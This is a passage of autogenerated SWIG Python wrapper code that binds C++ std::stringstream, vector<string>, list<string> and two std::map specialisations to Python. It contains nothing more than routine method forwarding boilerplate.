_pyBasePython.ostringstream_str(self) ostringstream.rdbuf = new_instancemethod(_pyBasePython.ostringstream_rdbuf,None,ostringstream) ostringstream.str = new_instancemethod(_pyBasePython.ostringstream_str,None,ostringstream) ostringstream_swigregister = _pyBasePython.ostringstream_swigregister ostringstream_swigregister(ostringstream) class stringstream(iostream): """Proxy of C++ std::basic_stringstream<(char)> class""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') __repr__ = _swig_repr def __init__(self, *args): """ __init__(self, openmode __m = ios_base::out|ios_base::in) -> stringstream __init__(self) -> stringstream __init__(self, string __str, openmode __m = ios_base::out|ios_base::in) -> stringstream __init__(self, string __str) -> stringstream """ _pyBasePython.stringstream_swiginit(self,_pyBasePython.new_stringstream(*args)) __swig_destroy__ = _pyBasePython.delete_stringstream def rdbuf(self): """rdbuf(self) -> std::basic_stringbuf<(char,std::char_traits<(char)>,std::allocator<(char)>)>""" return _pyBasePython.stringstream_rdbuf(self) def str(self, *args): """ str(self) -> string str(self, string __s) """ return _pyBasePython.stringstream_str(self, *args) stringstream.rdbuf = new_instancemethod(_pyBasePython.stringstream_rdbuf,None,stringstream) stringstream.str = new_instancemethod(_pyBasePython.stringstream_str,None,stringstream) stringstream_swigregister = _pyBasePython.stringstream_swigregister stringstream_swigregister(stringstream) class vectorstring(object): """Proxy of C++ std::vector<(std::string)> class""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') __repr__ = _swig_repr def iterator(self): """iterator(self) -> SwigPyIterator""" return _pyBasePython.vectorstring_iterator(self) def __iter__(self): return self.iterator() def __nonzero__(self): """__nonzero__(self) -> bool""" return _pyBasePython.vectorstring___nonzero__(self) def __bool__(self): """__bool__(self) -> bool""" return _pyBasePython.vectorstring___bool__(self) def __len__(self): """__len__(self) -> std::vector<(std::basic_string<(char,std::char_traits<(char)>,std::allocator<(char)>)>)>::size_type""" return _pyBasePython.vectorstring___len__(self) def pop(self): """pop(self) -> std::vector<(std::basic_string<(char,std::char_traits<(char)>,std::allocator<(char)>)>)>::value_type""" return _pyBasePython.vectorstring_pop(self) def __getslice__(self, *args): """ __getslice__(self, std::vector<(std::basic_string<(char,std::char_traits<(char)>,std::allocator<(char)>)>)>::difference_type i, std::vector<(std::basic_string<(char,std::char_traits<(char)>,std::allocator<(char)>)>)>::difference_type j) -> vectorstring """ return _pyBasePython.vectorstring___getslice__(self, *args) def __setslice__(self, *args): """ __setslice__(self, std::vector<(std::basic_string<(char,std::char_traits<(char)>,std::allocator<(char)>)>)>::difference_type i, std::vector<(std::basic_string<(char,std::char_traits<(char)>,std::allocator<(char)>)>)>::difference_type j, vectorstring v) """ return _pyBasePython.vectorstring___setslice__(self, *args) def __delslice__(self, *args): """ __delslice__(self, std::vector<(std::basic_string<(char,std::char_traits<(char)>,std::allocator<(char)>)>)>::difference_type i, std::vector<(std::basic_string<(char,std::char_traits<(char)>,std::allocator<(char)>)>)>::difference_type j) """ return _pyBasePython.vectorstring___delslice__(self, *args) def __delitem__(self, *args): """ __delitem__(self, std::vector<(std::basic_string<(char,std::char_traits<(char)>,std::allocator<(char)>)>)>::difference_type i) __delitem__(self, PySliceObject slice) """ return _pyBasePython.vectorstring___delitem__(self, *args) def __getitem__(self, *args): """ __getitem__(self, PySliceObject slice) -> vectorstring __getitem__(self, std::vector<(std::basic_string<(char,std::char_traits<(char)>,std::allocator<(char)>)>)>::difference_type i) -> std::vector<(std::basic_string<(char,std::char_traits<(char)>,std::allocator<(char)>)>)>::value_type """ return _pyBasePython.vectorstring___getitem__(self, *args) def __setitem__(self, *args): """ __setitem__(self, PySliceObject slice, vectorstring v) __setitem__(self, std::vector<(std::basic_string<(char,std::char_traits<(char)>,std::allocator<(char)>)>)>::difference_type i, std::vector<(std::basic_string<(char,std::char_traits<(char)>,std::allocator<(char)>)>)>::value_type x) """ return _pyBasePython.vectorstring___setitem__(self, *args) def append(self, *args): """append(self, std::vector<(std::basic_string<(char,std::char_traits<(char)>,std::allocator<(char)>)>)>::value_type x)""" return _pyBasePython.vectorstring_append(self, *args) def empty(self): """empty(self) -> bool""" return _pyBasePython.vectorstring_empty(self) def size(self): """size(self) -> std::vector<(std::basic_string<(char,std::char_traits<(char)>,std::allocator<(char)>)>)>::size_type""" return _pyBasePython.vectorstring_size(self) def clear(self): """clear(self)""" return _pyBasePython.vectorstring_clear(self) def swap(self, *args): """swap(self, vectorstring v)""" return _pyBasePython.vectorstring_swap(self, *args) def get_allocator(self): """get_allocator(self) -> std::vector<(std::basic_string<(char,std::char_traits<(char)>,std::allocator<(char)>)>)>::allocator_type""" return _pyBasePython.vectorstring_get_allocator(self) def begin(self): """begin(self) -> std::vector<(std::basic_string<(char,std::char_traits<(char)>,std::allocator<(char)>)>)>::const_iterator""" return _pyBasePython.vectorstring_begin(self) def end(self): """end(self) -> std::vector<(std::basic_string<(char,std::char_traits<(char)>,std::allocator<(char)>)>)>::const_iterator""" return _pyBasePython.vectorstring_end(self) def rbegin(self): """rbegin(self) -> std::vector<(std::basic_string<(char,std::char_traits<(char)>,std::allocator<(char)>)>)>::const_reverse_iterator""" return _pyBasePython.vectorstring_rbegin(self) def rend(self): """rend(self) -> std::vector<(std::basic_string<(char,std::char_traits<(char)>,std::allocator<(char)>)>)>::const_reverse_iterator""" return _pyBasePython.vectorstring_rend(self) def pop_back(self): """pop_back(self)""" return _pyBasePython.vectorstring_pop_back(self) def erase(self, *args): """ erase(self, std::vector<(std::basic_string<(char,std::char_traits<(char)>,std::allocator<(char)>)>)>::iterator pos) -> std::vector<(std::basic_string<(char,std::char_traits<(char)>,std::allocator<(char)>)>)>::iterator erase(self, std::vector<(std::basic_string<(char,std::char_traits<(char)>,std::allocator<(char)>)>)>::iterator first, std::vector<(std::basic_string<(char,std::char_traits<(char)>,std::allocator<(char)>)>)>::iterator last) -> std::vector<(std::basic_string<(char,std::char_traits<(char)>,std::allocator<(char)>)>)>::iterator """ return _pyBasePython.vectorstring_erase(self, *args) def __init__(self, *args): """ __init__(self) -> vectorstring __init__(self, vectorstring arg0) -> vectorstring __init__(self, std::vector<(std::basic_string<(char,std::char_traits<(char)>,std::allocator<(char)>)>)>::size_type size) -> vectorstring __init__(self, std::vector<(std::basic_string<(char,std::char_traits<(char)>,std::allocator<(char)>)>)>::size_type size, std::vector<(std::basic_string<(char,std::char_traits<(char)>,std::allocator<(char)>)>)>::value_type value) -> vectorstring """ _pyBasePython.vectorstring_swiginit(self,_pyBasePython.new_vectorstring(*args)) def push_back(self, *args): """push_back(self, std::vector<(std::basic_string<(char,std::char_traits<(char)>,std::allocator<(char)>)>)>::value_type x)""" return _pyBasePython.vectorstring_push_back(self, *args) def front(self): """front(self) -> std::vector<(std::basic_string<(char,std::char_traits<(char)>,std::allocator<(char)>)>)>::value_type""" return _pyBasePython.vectorstring_front(self) def back(self): """back(self) -> std::vector<(std::basic_string<(char,std::char_traits<(char)>,std::allocator<(char)>)>)>::value_type""" return _pyBasePython.vectorstring_back(self) def assign(self, *args): """ assign(self, std::vector<(std::basic_string<(char,std::char_traits<(char)>,std::allocator<(char)>)>)>::size_type n, std::vector<(std::basic_string<(char,std::char_traits<(char)>,std::allocator<(char)>)>)>::value_type x) """ return _pyBasePython.vectorstring_assign(self, *args) def resize(self, *args): """ resize(self, std::vector<(std::basic_string<(char,std::char_traits<(char)>,std::allocator<(char)>)>)>::size_type new_size) resize(self, std::vector<(std::basic_string<(char,std::char_traits<(char)>,std::allocator<(char)>)>)>::size_type new_size, std::vector<(std::basic_string<(char,std::char_traits<(char)>,std::allocator<(char)>)>)>::value_type x) """ return _pyBasePython.vectorstring_resize(self, *args) def insert(self, *args): """ insert(self, std::vector<(std::basic_string<(char,std::char_traits<(char)>,std::allocator<(char)>)>)>::iterator pos, std::vector<(std::basic_string<(char,std::char_traits<(char)>,std::allocator<(char)>)>)>::value_type x) -> std::vector<(std::basic_string<(char,std::char_traits<(char)>,std::allocator<(char)>)>)>::iterator insert(self, std::vector<(std::basic_string<(char,std::char_traits<(char)>,std::allocator<(char)>)>)>::iterator pos, std::vector<(std::basic_string<(char,std::char_traits<(char)>,std::allocator<(char)>)>)>::size_type n, std::vector<(std::basic_string<(char,std::char_traits<(char)>,std::allocator<(char)>)>)>::value_type x) """ return _pyBasePython.vectorstring_insert(self, *args) def reserve(self, *args): """reserve(self, std::vector<(std::basic_string<(char,std::char_traits<(char)>,std::allocator<(char)>)>)>::size_type n)""" return _pyBasePython.vectorstring_reserve(self, *args) def capacity(self): """capacity(self) -> std::vector<(std::basic_string<(char,std::char_traits<(char)>,std::allocator<(char)>)>)>::size_type""" return _pyBasePython.vectorstring_capacity(self) __swig_destroy__ = _pyBasePython.delete_vectorstring vectorstring.iterator = new_instancemethod(_pyBasePython.vectorstring_iterator,None,vectorstring) vectorstring.__nonzero__ = new_instancemethod(_pyBasePython.vectorstring___nonzero__,None,vectorstring) vectorstring.__bool__ = new_instancemethod(_pyBasePython.vectorstring___bool__,None,vectorstring) vectorstring.__len__ = new_instancemethod(_pyBasePython.vectorstring___len__,None,vectorstring) vectorstring.pop = new_instancemethod(_pyBasePython.vectorstring_pop,None,vectorstring) vectorstring.__getslice__ = new_instancemethod(_pyBasePython.vectorstring___getslice__,None,vectorstring) vectorstring.__setslice__ = new_instancemethod(_pyBasePython.vectorstring___setslice__,None,vectorstring) vectorstring.__delslice__ = new_instancemethod(_pyBasePython.vectorstring___delslice__,None,vectorstring) vectorstring.__delitem__ = new_instancemethod(_pyBasePython.vectorstring___delitem__,None,vectorstring) vectorstring.__getitem__ = new_instancemethod(_pyBasePython.vectorstring___getitem__,None,vectorstring) vectorstring.__setitem__ = new_instancemethod(_pyBasePython.vectorstring___setitem__,None,vectorstring) vectorstring.append = new_instancemethod(_pyBasePython.vectorstring_append,None,vectorstring) vectorstring.empty = new_instancemethod(_pyBasePython.vectorstring_empty,None,vectorstring) vectorstring.size = new_instancemethod(_pyBasePython.vectorstring_size,None,vectorstring) vectorstring.clear = new_instancemethod(_pyBasePython.vectorstring_clear,None,vectorstring) vectorstring.swap = new_instancemethod(_pyBasePython.vectorstring_swap,None,vectorstring) vectorstring.get_allocator = new_instancemethod(_pyBasePython.vectorstring_get_allocator,None,vectorstring) vectorstring.begin = new_instancemethod(_pyBasePython.vectorstring_begin,None,vectorstring) vectorstring.end = new_instancemethod(_pyBasePython.vectorstring_end,None,vectorstring) vectorstring.rbegin = new_instancemethod(_pyBasePython.vectorstring_rbegin,None,vectorstring) vectorstring.rend = new_instancemethod(_pyBasePython.vectorstring_rend,None,vectorstring) vectorstring.pop_back = new_instancemethod(_pyBasePython.vectorstring_pop_back,None,vectorstring) vectorstring.erase = new_instancemethod(_pyBasePython.vectorstring_erase,None,vectorstring) vectorstring.push_back = new_instancemethod(_pyBasePython.vectorstring_push_back,None,vectorstring) vectorstring.front = new_instancemethod(_pyBasePython.vectorstring_front,None,vectorstring) vectorstring.back = new_instancemethod(_pyBasePython.vectorstring_back,None,vectorstring) vectorstring.assign = new_instancemethod(_pyBasePython.vectorstring_assign,None,vectorstring) vectorstring.resize = new_instancemethod(_pyBasePython.vectorstring_resize,None,vectorstring) vectorstring.insert = new_instancemethod(_pyBasePython.vectorstring_insert,None,vectorstring) vectorstring.reserve = new_instancemethod(_pyBasePython.vectorstring_reserve,None,vectorstring) vectorstring.capacity = new_instancemethod(_pyBasePython.vectorstring_capacity,None,vectorstring) vectorstring_swigregister = _pyBasePython.vectorstring_swigregister vectorstring_swigregister(vectorstring) class liststring(object): """Proxy of C++ std::list<(std::string)> class""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') __repr__ = _swig_repr def iterator(self): """iterator(self) -> SwigPyIterator""" return _pyBasePython.liststring_iterator(self) def __iter__(self): return self.iterator() def __nonzero__(self): """__nonzero__(self) -> bool""" return _pyBasePython.liststring___nonzero__(self) def __bool__(self): """__bool__(self) -> bool""" return _pyBasePython.liststring___bool__(self) def __len__(self): """__len__(self) -> std::list<(std::basic_string<(char,std::char_traits<(char)>,std::allocator<(char)>)>)>::size_type""" return _pyBasePython.liststring___len__(self) def pop(self): """pop(self) -> std::list<(std::basic_string<(char,std::char_traits<(char)>,std::allocator<(char)>)>)>::value_type""" return _pyBasePython.liststring_pop(self) def __getslice__(self, *args): """ __getslice__(self, std::list<(std::basic_string<(char,std::char_traits<(char)>,std::allocator<(char)>)>)>::difference_type i, std::list<(std::basic_string<(char,std::char_traits<(char)>,std::allocator<(char)>)>)>::difference_type j) -> liststring """ return _pyBasePython.liststring___getslice__(self, *args) def __setslice__(self, *args): """ __setslice__(self, std::list<(std::basic_string<(char,std::char_traits<(char)>,std::allocator<(char)>)>)>::difference_type i, std::list<(std::basic_string<(char,std::char_traits<(char)>,std::allocator<(char)>)>)>::difference_type j, liststring v) """ return _pyBasePython.liststring___setslice__(self, *args) def __delslice__(self, *args): """ __delslice__(self, std::list<(std::basic_string<(char,std::char_traits<(char)>,std::allocator<(char)>)>)>::difference_type i, std::list<(std::basic_string<(char,std::char_traits<(char)>,std::allocator<(char)>)>)>::difference_type j) """ return _pyBasePython.liststring___delslice__(self, *args) def __delitem__(self, *args): """ __delitem__(self, std::list<(std::basic_string<(char,std::char_traits<(char)>,std::allocator<(char)>)>)>::difference_type i) __delitem__(self, PySliceObject slice) """ return _pyBasePython.liststring___delitem__(self, *args) def __getitem__(self, *args): """ __getitem__(self, PySliceObject slice) -> liststring __getitem__(self, std::list<(std::basic_string<(char,std::char_traits<(char)>,std::allocator<(char)>)>)>::difference_type i) -> std::list<(std::basic_string<(char,std::char_traits<(char)>,std::allocator<(char)>)>)>::value_type """ return _pyBasePython.liststring___getitem__(self, *args) def __setitem__(self, *args): """ __setitem__(self, PySliceObject slice, liststring v) __setitem__(self, std::list<(std::basic_string<(char,std::char_traits<(char)>,std::allocator<(char)>)>)>::difference_type i, std::list<(std::basic_string<(char,std::char_traits<(char)>,std::allocator<(char)>)>)>::value_type x) """ return _pyBasePython.liststring___setitem__(self, *args) def append(self, *args): """append(self, std::list<(std::basic_string<(char,std::char_traits<(char)>,std::allocator<(char)>)>)>::value_type x)""" return _pyBasePython.liststring_append(self, *args) def empty(self): """empty(self) -> bool""" return _pyBasePython.liststring_empty(self) def size(self): """size(self) -> std::list<(std::basic_string<(char,std::char_traits<(char)>,std::allocator<(char)>)>)>::size_type""" return _pyBasePython.liststring_size(self) def clear(self): """clear(self)""" return _pyBasePython.liststring_clear(self) def swap(self, *args): """swap(self, liststring v)""" return _pyBasePython.liststring_swap(self, *args) def get_allocator(self): """get_allocator(self) -> std::list<(std::basic_string<(char,std::char_traits<(char)>,std::allocator<(char)>)>)>::allocator_type""" return _pyBasePython.liststring_get_allocator(self) def begin(self): """begin(self) -> std::list<(std::basic_string<(char,std::char_traits<(char)>,std::allocator<(char)>)>)>::const_iterator""" return _pyBasePython.liststring_begin(self) def end(self): """end(self) -> std::list<(std::basic_string<(char,std::char_traits<(char)>,std::allocator<(char)>)>)>::const_iterator""" return _pyBasePython.liststring_end(self) def rbegin(self): """rbegin(self) -> std::list<(std::basic_string<(char,std::char_traits<(char)>,std::allocator<(char)>)>)>::const_reverse_iterator""" return _pyBasePython.liststring_rbegin(self) def rend(self): """rend(self) -> std::list<(std::basic_string<(char,std::char_traits<(char)>,std::allocator<(char)>)>)>::const_reverse_iterator""" return _pyBasePython.liststring_rend(self) def pop_back(self): """pop_back(self)""" return _pyBasePython.liststring_pop_back(self) def erase(self, *args): """ erase(self, std::list<(std::basic_string<(char,std::char_traits<(char)>,std::allocator<(char)>)>)>::iterator pos) -> std::list<(std::basic_string<(char,std::char_traits<(char)>,std::allocator<(char)>)>)>::iterator erase(self, std::list<(std::basic_string<(char,std::char_traits<(char)>,std::allocator<(char)>)>)>::iterator first, std::list<(std::basic_string<(char,std::char_traits<(char)>,std::allocator<(char)>)>)>::iterator last) -> std::list<(std::basic_string<(char,std::char_traits<(char)>,std::allocator<(char)>)>)>::iterator """ return _pyBasePython.liststring_erase(self, *args) def __init__(self, *args): """ __init__(self) -> liststring __init__(self, liststring arg0) -> liststring __init__(self, std::list<(std::basic_string<(char,std::char_traits<(char)>,std::allocator<(char)>)>)>::size_type size) -> liststring __init__(self, std::list<(std::basic_string<(char,std::char_traits<(char)>,std::allocator<(char)>)>)>::size_type size, std::list<(std::basic_string<(char,std::char_traits<(char)>,std::allocator<(char)>)>)>::value_type value) -> liststring """ _pyBasePython.liststring_swiginit(self,_pyBasePython.new_liststring(*args)) def push_back(self, *args): """push_back(self, std::list<(std::basic_string<(char,std::char_traits<(char)>,std::allocator<(char)>)>)>::value_type x)""" return _pyBasePython.liststring_push_back(self, *args) def front(self): """front(self) -> std::list<(std::basic_string<(char,std::char_traits<(char)>,std::allocator<(char)>)>)>::value_type""" return _pyBasePython.liststring_front(self) def back(self): """back(self) -> std::list<(std::basic_string<(char,std::char_traits<(char)>,std::allocator<(char)>)>)>::value_type""" return _pyBasePython.liststring_back(self) def assign(self, *args): """ assign(self, std::list<(std::basic_string<(char,std::char_traits<(char)>,std::allocator<(char)>)>)>::size_type n, std::list<(std::basic_string<(char,std::char_traits<(char)>,std::allocator<(char)>)>)>::value_type x) """ return _pyBasePython.liststring_assign(self, *args) def resize(self, *args): """ resize(self, std::list<(std::basic_string<(char,std::char_traits<(char)>,std::allocator<(char)>)>)>::size_type new_size) resize(self, std::list<(std::basic_string<(char,std::char_traits<(char)>,std::allocator<(char)>)>)>::size_type new_size, std::list<(std::basic_string<(char,std::char_traits<(char)>,std::allocator<(char)>)>)>::value_type x) """ return _pyBasePython.liststring_resize(self, *args) def insert(self, *args): """ insert(self, std::list<(std::basic_string<(char,std::char_traits<(char)>,std::allocator<(char)>)>)>::iterator pos, std::list<(std::basic_string<(char,std::char_traits<(char)>,std::allocator<(char)>)>)>::value_type x) -> std::list<(std::basic_string<(char,std::char_traits<(char)>,std::allocator<(char)>)>)>::iterator insert(self, std::list<(std::basic_string<(char,std::char_traits<(char)>,std::allocator<(char)>)>)>::iterator pos, std::list<(std::basic_string<(char,std::char_traits<(char)>,std::allocator<(char)>)>)>::size_type n, std::list<(std::basic_string<(char,std::char_traits<(char)>,std::allocator<(char)>)>)>::value_type x) """ return _pyBasePython.liststring_insert(self, *args) def pop_front(self): """pop_front(self)""" return _pyBasePython.liststring_pop_front(self) def push_front(self, *args): """push_front(self, std::list<(std::basic_string<(char,std::char_traits<(char)>,std::allocator<(char)>)>)>::value_type x)""" return _pyBasePython.liststring_push_front(self, *args) def reverse(self): """reverse(self)""" return _pyBasePython.liststring_reverse(self) __swig_destroy__ = _pyBasePython.delete_liststring liststring.iterator = new_instancemethod(_pyBasePython.liststring_iterator,None,liststring) liststring.__nonzero__ = new_instancemethod(_pyBasePython.liststring___nonzero__,None,liststring) liststring.__bool__ = new_instancemethod(_pyBasePython.liststring___bool__,None,liststring) liststring.__len__ = new_instancemethod(_pyBasePython.liststring___len__,None,liststring) liststring.pop = new_instancemethod(_pyBasePython.liststring_pop,None,liststring) liststring.__getslice__ = new_instancemethod(_pyBasePython.liststring___getslice__,None,liststring) liststring.__setslice__ = new_instancemethod(_pyBasePython.liststring___setslice__,None,liststring) liststring.__delslice__ = new_instancemethod(_pyBasePython.liststring___delslice__,None,liststring) liststring.__delitem__ = new_instancemethod(_pyBasePython.liststring___delitem__,None,liststring) liststring.__getitem__ = new_instancemethod(_pyBasePython.liststring___getitem__,None,liststring) liststring.__setitem__ = new_instancemethod(_pyBasePython.liststring___setitem__,None,liststring) liststring.append = new_instancemethod(_pyBasePython.liststring_append,None,liststring) liststring.empty = new_instancemethod(_pyBasePython.liststring_empty,None,liststring) liststring.size = new_instancemethod(_pyBasePython.liststring_size,None,liststring) liststring.clear = new_instancemethod(_pyBasePython.liststring_clear,None,liststring) liststring.swap = new_instancemethod(_pyBasePython.liststring_swap,None,liststring) liststring.get_allocator = new_instancemethod(_pyBasePython.liststring_get_allocator,None,liststring) liststring.begin = new_instancemethod(_pyBasePython.liststring_begin,None,liststring) liststring.end = new_instancemethod(_pyBasePython.liststring_end,None,liststring) liststring.rbegin = new_instancemethod(_pyBasePython.liststring_rbegin,None,liststring) liststring.rend = new_instancemethod(_pyBasePython.liststring_rend,None,liststring) liststring.pop_back = new_instancemethod(_pyBasePython.liststring_pop_back,None,liststring) liststring.erase = new_instancemethod(_pyBasePython.liststring_erase,None,liststring) liststring.push_back = new_instancemethod(_pyBasePython.liststring_push_back,None,liststring) liststring.front = new_instancemethod(_pyBasePython.liststring_front,None,liststring) liststring.back = new_instancemethod(_pyBasePython.liststring_back,None,liststring) liststring.assign = new_instancemethod(_pyBasePython.liststring_assign,None,liststring) liststring.resize = new_instancemethod(_pyBasePython.liststring_resize,None,liststring) liststring.insert = new_instancemethod(_pyBasePython.liststring_insert,None,liststring) liststring.pop_front = new_instancemethod(_pyBasePython.liststring_pop_front,None,liststring) liststring.push_front = new_instancemethod(_pyBasePython.liststring_push_front,None,liststring) liststring.reverse = new_instancemethod(_pyBasePython.liststring_reverse,None,liststring) liststring_swigregister = _pyBasePython.liststring_swigregister liststring_swigregister(liststring) class mapULD(object): """Proxy of C++ std::map<(unsigned long,double)> class""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') __repr__ = _swig_repr def iterator(self): """iterator(self) -> SwigPyIterator""" return _pyBasePython.mapULD_iterator(self) def __iter__(self): return self.iterator() def __nonzero__(self): """__nonzero__(self) -> bool""" return _pyBasePython.mapULD___nonzero__(self) def __bool__(self): """__bool__(self) -> bool""" return _pyBasePython.mapULD___bool__(self) def __len__(self): """__len__(self) -> size_type""" return _pyBasePython.mapULD___len__(self) def __getitem__(self, *args): """__getitem__(self, key_type key) -> mapped_type""" return _pyBasePython.mapULD___getitem__(self, *args) def __delitem__(self, *args): """__delitem__(self, key_type key)""" return _pyBasePython.mapULD___delitem__(self, *args) def has_key(self, *args): """has_key(self, key_type key) -> bool""" return _pyBasePython.mapULD_has_key(self, *args) def keys(self): """keys(self) -> PyObject""" return _pyBasePython.mapULD_keys(self) def values(self): """values(self) -> PyObject""" return _pyBasePython.mapULD_values(self) def items(self): """items(self) -> PyObject""" return _pyBasePython.mapULD_items(self) def __contains__(self, *args): """__contains__(self, key_type key) -> bool""" return _pyBasePython.mapULD___contains__(self, *args) def key_iterator(self): """key_iterator(self) -> SwigPyIterator""" return _pyBasePython.mapULD_key_iterator(self) def value_iterator(self): """value_iterator(self) -> SwigPyIterator""" return _pyBasePython.mapULD_value_iterator(self) def __iter__(self): return self.key_iterator() def iterkeys(self): return self.key_iterator() def itervalues(self): return self.value_iterator() def iteritems(self): return self.iterator() def __setitem__(self, *args): """__setitem__(self, key_type key, mapped_type x)""" return _pyBasePython.mapULD___setitem__(self, *args) def __init__(self, *args): """ __init__(self, std::less<(unsigned long)> arg0) -> mapULD __init__(self) -> mapULD __init__(self, mapULD arg0) -> mapULD """ _pyBasePython.mapULD_swiginit(self,_pyBasePython.new_mapULD(*args)) def empty(self): """empty(self) -> bool""" return _pyBasePython.mapULD_empty(self) def size(self): """size(self) -> size_type""" return _pyBasePython.mapULD_size(self) def clear(self): """clear(self)""" return _pyBasePython.mapULD_clear(self) def swap(self, *args): """swap(self, mapULD v)""" return _pyBasePython.mapULD_swap(self, *args) def get_allocator(self): """get_allocator(self) -> allocator_type""" return _pyBasePython.mapULD_get_allocator(self) def begin(self): """begin(self) -> const_iterator""" return _pyBasePython.mapULD_begin(self) def end(self): """end(self) -> const_iterator""" return _pyBasePython.mapULD_end(self) def rbegin(self): """rbegin(self) -> const_reverse_iterator""" return _pyBasePython.mapULD_rbegin(self) def rend(self): """rend(self) -> const_reverse_iterator""" return _pyBasePython.mapULD_rend(self) def count(self, *args): """count(self, key_type x) -> size_type""" return _pyBasePython.mapULD_count(self, *args) def erase(self, *args): """ erase(self, key_type x) -> size_type erase(self, iterator position) erase(self, iterator first, iterator last) """ return _pyBasePython.mapULD_erase(self, *args) def find(self, *args): """find(self, key_type x) -> iterator""" return _pyBasePython.mapULD_find(self, *args) def lower_bound(self, *args): """lower_bound(self, key_type x) -> iterator""" return _pyBasePython.mapULD_lower_bound(self, *args) def upper_bound(self, *args): """upper_bound(self, key_type x) -> iterator""" return _pyBasePython.mapULD_upper_bound(self, *args) __swig_destroy__ = _pyBasePython.delete_mapULD mapULD.iterator = new_instancemethod(_pyBasePython.mapULD_iterator,None,mapULD) mapULD.__nonzero__ = new_instancemethod(_pyBasePython.mapULD___nonzero__,None,mapULD) mapULD.__bool__ = new_instancemethod(_pyBasePython.mapULD___bool__,None,mapULD) mapULD.__len__ = new_instancemethod(_pyBasePython.mapULD___len__,None,mapULD) mapULD.__getitem__ = new_instancemethod(_pyBasePython.mapULD___getitem__,None,mapULD) mapULD.__delitem__ = new_instancemethod(_pyBasePython.mapULD___delitem__,None,mapULD) mapULD.has_key = new_instancemethod(_pyBasePython.mapULD_has_key,None,mapULD) mapULD.keys = new_instancemethod(_pyBasePython.mapULD_keys,None,mapULD) mapULD.values = new_instancemethod(_pyBasePython.mapULD_values,None,mapULD) mapULD.items = new_instancemethod(_pyBasePython.mapULD_items,None,mapULD) mapULD.__contains__ = new_instancemethod(_pyBasePython.mapULD___contains__,None,mapULD) mapULD.key_iterator = new_instancemethod(_pyBasePython.mapULD_key_iterator,None,mapULD) mapULD.value_iterator = new_instancemethod(_pyBasePython.mapULD_value_iterator,None,mapULD) mapULD.__setitem__ = new_instancemethod(_pyBasePython.mapULD___setitem__,None,mapULD) mapULD.empty = new_instancemethod(_pyBasePython.mapULD_empty,None,mapULD) mapULD.size = new_instancemethod(_pyBasePython.mapULD_size,None,mapULD) mapULD.clear = new_instancemethod(_pyBasePython.mapULD_clear,None,mapULD) mapULD.swap = new_instancemethod(_pyBasePython.mapULD_swap,None,mapULD) mapULD.get_allocator = new_instancemethod(_pyBasePython.mapULD_get_allocator,None,mapULD) mapULD.begin = new_instancemethod(_pyBasePython.mapULD_begin,None,mapULD) mapULD.end = new_instancemethod(_pyBasePython.mapULD_end,None,mapULD) mapULD.rbegin = new_instancemethod(_pyBasePython.mapULD_rbegin,None,mapULD) mapULD.rend = new_instancemethod(_pyBasePython.mapULD_rend,None,mapULD) mapULD.count = new_instancemethod(_pyBasePython.mapULD_count,None,mapULD) mapULD.erase = new_instancemethod(_pyBasePython.mapULD_erase,None,mapULD) mapULD.find = new_instancemethod(_pyBasePython.mapULD_find,None,mapULD) mapULD.lower_bound = new_instancemethod(_pyBasePython.mapULD_lower_bound,None,mapULD) mapULD.upper_bound = new_instancemethod(_pyBasePython.mapULD_upper_bound,None,mapULD) mapULD_swigregister = _pyBasePython.mapULD_swigregister mapULD_swigregister(mapULD) class mapUCUC(object): """Proxy of C++ std::map<(unsigned char,unsigned char)> class""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') __repr__ = _swig_repr def iterator(self): """iterator(self) -> SwigPyIterator""" return _pyBasePython.mapUCUC_iterator(self) def __iter__(self): return self.iterator() def __nonzero__(self): """__nonzero__(self) -> bool""" return _pyBasePython.mapUCUC___nonzero__(self) def __bool__(self): """__bool__(self) -> bool""" return _pyBasePython.mapUCUC___bool__(self) def __len__(self): """__len__(self) -> size_type""" return _pyBasePython.mapUCUC___len__(self) def __getitem__(self, *args): """__getitem__(self, key_type key) -> mapped_type""" return _pyBasePython.mapUCUC___getitem__(self, *args) def __delitem__(self, *args): """__delitem__(self, key_type key)""" return _pyBasePython.mapUCUC___delitem__(self, *args) def has_key(self, *args): """has_key(self, key_type key) -> bool""" return _pyBasePython.mapUCUC_has_key(self, *args) def keys(self): """keys(self) -> PyObject""" return _pyBasePython.mapUCUC_keys(self) def values(self): """values(self) -> PyObject""" return _pyBasePython.mapUCUC_values(self) def items(self): """items(self) -> PyObject""" return _pyBasePython.mapUCUC_items(self) def __contains__(self, *args): """__contains__(self, key_type key) -> bool""" return _pyBasePython.mapUCUC___contains__(self, *args) def key_iterator(self): """key_iterator(self) -> SwigPyIterator""" return _pyBasePython.mapUCUC_key_iterator(self) def value_iterator(self): """value_iterator(self) -> SwigPyIterator""" return _pyBasePython.mapUCUC_value_iterator(self) def __iter__(self): return self.key_iterator() def iterkeys(self): return self.key_iterator() def itervalues(self): return self.value_iterator() def iteritems(self): return self.iterator() def __setitem__(self, *args): """__setitem__(self, key_type key, mapped_type x)""" return _pyBasePython.mapUCUC___setitem__(self, *args) def __init__(self, *args): """ __init__(self, std::less<(unsigned char)> arg0) -> mapUCUC __init__(self) -> mapUCUC __init__(self, mapUCUC arg0) -> mapUCUC """ _pyBasePython.mapUCUC_swiginit(self,_pyBasePython.new_mapUCUC(*args)) def empty(self): """empty(self) -> bool""" return _pyBasePython.mapUCUC_empty(self) def size(self): """size(self) -> size_type""" return _pyBasePython.mapUCUC_size(self) def clear(self): """clear(self)""" return _pyBasePython.mapUCUC_clear(self) def swap(self, *args): """swap(self, mapUCUC v)""" return _pyBasePython.mapUCUC_swap(self, *args) def get_allocator(self): """get_allocator(self) -> allocator_type""" return _pyBasePython.mapUCUC_get_allocator(self) def begin(self): """begin(self) -> const_iterator""" return _pyBasePython.mapUCUC_begin(self) def end(self): """end(self) -> const_iterator""" return _pyBasePython.mapUCUC_end(self) def rbegin(self): """rbegin(self) -> const_reverse_iterator""" return _pyBasePython.mapUCUC_rbegin(self) def rend(self): """rend(self) -> const_reverse_iterator""" return _pyBasePython.mapUCUC_rend(self) def count(self, *args): """count(self, key_type x) -> size_type""" return _pyBasePython.mapUCUC_count(self, *args) def erase(self, *args): """ erase(self, key_type x) -> size_type erase(self, iterator position) erase(self, iterator 